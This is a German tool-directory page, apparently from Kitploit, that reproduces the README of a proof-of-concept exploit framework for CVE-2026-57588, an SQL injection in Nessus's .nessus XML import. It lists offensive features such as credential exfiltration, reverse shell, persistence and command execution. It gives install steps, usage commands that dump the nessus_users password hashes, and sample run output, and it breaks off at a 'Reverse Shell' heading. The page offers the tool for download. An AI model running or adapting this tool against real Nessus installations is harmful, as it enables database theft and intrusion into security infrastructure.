Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC — PoC für CVE-2026-57588 - SQL-Injection im XML-Import von Nessus 10.12.0. Generiert bösartige .nessus-Dateien, um Datenbanken aufzulisten, Anmeldeinformationen zu exfiltrieren und zeitbasierte Blind-Injection zu testen. Für autorisierte Sicherheitsforschung. Autor: Sudeepa Wanigarathna. In 10.12.1 gepatcht. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/cve-2026-57588-nessus-xml-import-sql-injection-poc
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationPost-ExploitationPenetrationstestsCommand and ControlRed Teaming
Datenbanksicherheit
GitHubcerberusmrxi/cve-2026-57588-nessus-xml-import-sql-injection-poc

CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

Repository anzeigen
123vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

PoC für CVE-2026-57588 - SQL-Injection im XML-Import von Nessus 10.12.0. Generiert bösartige .nessus-Dateien, um Datenbanken aufzulisten, Anmeldeinformationen zu exfiltrieren und zeitbasierte Blind-Injection zu testen. Für autorisierte Sicherheitsforschung. Autor: Sudeepa Wanigarathna. In 10.12.1 gepatcht.

Teilen

🛡️ CVE-2026-57588 - Nessus SQL-Injection-Exploitations-Framework

Security Research CVE Version Python License


📋 Inhaltsverzeichnis

  • Überblick
  • Schwachstellendetails
  • Funktionen
  • Installation
  • Schnellstart
  • Anwendungsbeispiele
  • Payload-Typen
  • Fortgeschrittene Szenarien
  • Berichterstellung
  • Fehlerbehebung
  • Sicherheitshinweise
  • Lizenz

🔍 Überblick

CVE-2026-57588 ist eine kritische SQL-Injection-Schwachstelle, die in Tenable Nessus-Versionen 10.12.0 und früher entdeckt wurde. Die Schwachstelle befindet sich im XML-Parsing-Mechanismus beim Importieren von .nessus-Scanergebnisdateien und erlaubt authentifizierten Benutzern mit Importberechtigungen, beliebige SQL-Abfragen gegen die PostgreSQL-Backend-Datenbank auszuführen.


⚠️ Schwachstellendetails

EigenschaftWert
CVE IDCVE-2026-57588
SchwachstellentypSQL-Injection
Betroffene ProdukteTenable Nessus 10.12.0 und früher
Behobene VersionNessus 10.12.1 und später
CVSS-Wert4.3 (Mittel)
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche BerechtigungenAuthentifiziert (Importberechtigungen)
BenutzerinteraktionErforderlich (Social Engineering)
AuswirkungDatenextraktion, RCE

🔬 Technische Details

Die Schwachstelle besteht aufgrund unzureichender Bereinigung von XML-Tag-Werten, bevor sie in SQL-Abfragen während des Importprozesses eingebunden werden. Ein böswilliger Akteur kann eine .nessus-Datei erstellen, die speziell präparierte SQL-Injection-Payloads in XML-Tags wie den folgenden enthält:

  • hostname
  • fqdn
  • os
  • system-type
  • mac-address
  • netbios-name

Wenn ein privilegierter Benutzer die bösartige Datei importiert, werden die unbereinigten Werte gegen die PostgreSQL-Backend-Datenbank ausgeführt, was Folgendes ermöglicht:

  • Datenbank-Aufzählung
  • Datenextraktion
  • Befehlsausführung
  • Dateisystemzugriff
  • Persistenzinstallation

✨ Funktionen

Klicken Sie, um die Funktionsliste zu erweitern

🎯 Payload-Verwaltung

  • 13+ Payload-Typen, nach Zweck kategorisiert
  • Vorlagenbasierte Payload-Generierung
  • Individuelle Payload-Erstellung und -Validierung
  • Parameter-Validierung und Syntaxprüfung
  • SQL-Syntax-Überprüfung

🚀 Exploitation-Fähigkeiten

  • Mehrstufige Exploitation mit paralleler Ausführung
  • Datenbank-Fingerprinting und -Aufzählung
  • Datenextraktion mit benutzerdefinierter Tabellen-/Spaltenauswahl
  • Befehlsausführung auf dem Zielsystem
  • Dateisystemzugriff und Lesen
  • Reverse Shell mit interaktiver Sitzung
  • Persistenzinstallations-Mechanismen
  • Zeitbasierte Blind-SQL-Injection
  • Boolesche Blind-SQL-Injection
  • Fehlerbasierte SQL-Injection
  • Gestapelte Abfragen für fortgeschrittene Exploitation
  • Out-of-Band-DNS-Extraktion

📊 Berichterstellung & Protokollierung

  • HTML-Berichte mit professionellem Styling
  • Markdown-Berichte zur Dokumentation
  • JSON-Berichte zur Automatisierung
  • Textberichte zur schnellen Ansicht
  • Protokollrotation mit mehreren Stufen
  • Detaillierte Ausführungsstatistiken
  • Datei-Hashing zur Integritätsprüfung

🛠️ Erweiterte Funktionen

  • Parallele Ausführung mit konfigurierbaren Jobs
  • Proxy-Unterstützung für verdeckte Operationen
  • SSL/TLS-Zertifikatshandling
  • XML-Validierung und Schema-Prüfung
  • Interaktiver Modus für Live-Exploitation
  • Wiederholungsmechanismus für Zuverlässigkeit
  • Timeout-Konfiguration für langsame Verbindungen

📦 Professionelle Werkzeuge

  • Subcommand-basierte CLI-Struktur
  • Ausführlicher und stiller Modus
  • Farbige Terminal-Ausgabe
  • Fortschrittsanzeigen für lange Aufgaben
  • Docker-Unterstützung für containerisiertes Testen
  • Plattformübergreifende Kompatibilität (Linux, Windows, macOS)

📦 Installation

🐍 Voraussetzungen

  • Python 3.7 oder höher
  • pip (Python-Paketmanager)
  • Git (optional, zum Klonen)

🔧 Schnellinstallation

# Repository klonen
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# Virtuelle Umgebung erstellen und aktivieren
python3 -m venv venv
source venv/bin/activate  # Unter Windows: venv\Scripts\activate

# Abhängigkeiten installieren
pip install -r requirements.txt

# Installation überprüfen
python3 exploit.py --version

🐳 Docker-Installation

# Docker-Image erstellen
docker build -t nessus-exploit .

# Tool ausführen
docker run -it --rm nessus-exploit generate -u https://test.com -p enum

📦 Paketinstallation

# Als Paket installieren
pip install -e .

# Jetzt können Sie von überall aus ausführen
nessus-exploit generate -u https://test.com -p enum

🚀 Schnellstart

Grundlegende Verwendung

# Einfachen Aufzählungs-Exploit generieren
python3 exploit.py generate -u https://test.com -p enum

# Fortgeschrittenen mehrstufigen Exploit generieren
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus

# Daten aus der Datenbank extrahieren
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

Befehlshilfe

# Allgemeine Hilfe anzeigen
python3 exploit.py --help

# Hilfe für generate-Befehl anzeigen
python3 exploit.py generate --help

# Alle verfügbaren Payloads auflisten
python3 exploit.py list

💡 Anwendungsbeispiele

1. Grundlegende Aufzählung

python3 exploit.py generate -u https://test.com -p enum
Erwartete Ausgabe
[2026-07-22 10:15:23] [INFO] [*] Starte Exploitation gegen https://test.com
[2026-07-22 10:15:23] [INFO] [*] Sitzung: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Führe Stufe aus: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generierte XML: exploit_20260722_fingerprint_101523.nessus (3847 Bytes)
[2026-07-22 10:15:24] [INFO] [*] Führe Stufe aus: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generierte XML: exploit_20260722_schema_dump_101524.nessus (4213 Bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation abgeschlossen! Dauer: 2.15s

============================================================
EXPLOITATION ZUSAMMENFASSUNG
============================================================
Ziel: https://test.com
Status: ERFOLG
Dauer: 2.15s
Generierte Dateien: 3
Generierte Berichte: 3
============================================================

2. Fortgeschrittene mehrstufige Exploitation

python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v

3. Datenextraktion

# Benutzeranmeldeinformationen extrahieren
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# Mit benutzerdefinierten Spalten extrahieren
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status

4. Reverse Shell

Tool herunterladen